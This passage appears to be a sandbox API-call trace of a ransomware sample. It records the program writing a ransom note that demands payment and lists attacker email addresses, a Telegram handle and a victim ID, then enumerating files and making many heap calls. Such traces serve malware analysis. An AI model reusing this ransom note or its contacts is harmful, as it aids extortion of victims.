$980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.338] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.338] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.338] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.338] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.339] CloseHandle (hObject=0x5c0) returned 1 [0059.339] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.339] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.339] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.339] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.339] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.339] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.340] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.340] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.340] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c94a50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.340] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c94a50, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.340] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.340] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.340] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.340] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.341] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.341] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.342] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.342] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.343] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.343] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.344] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.344] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.345] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.346] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5158 | out: hHeap=0x670000) returned 1 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.346] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, 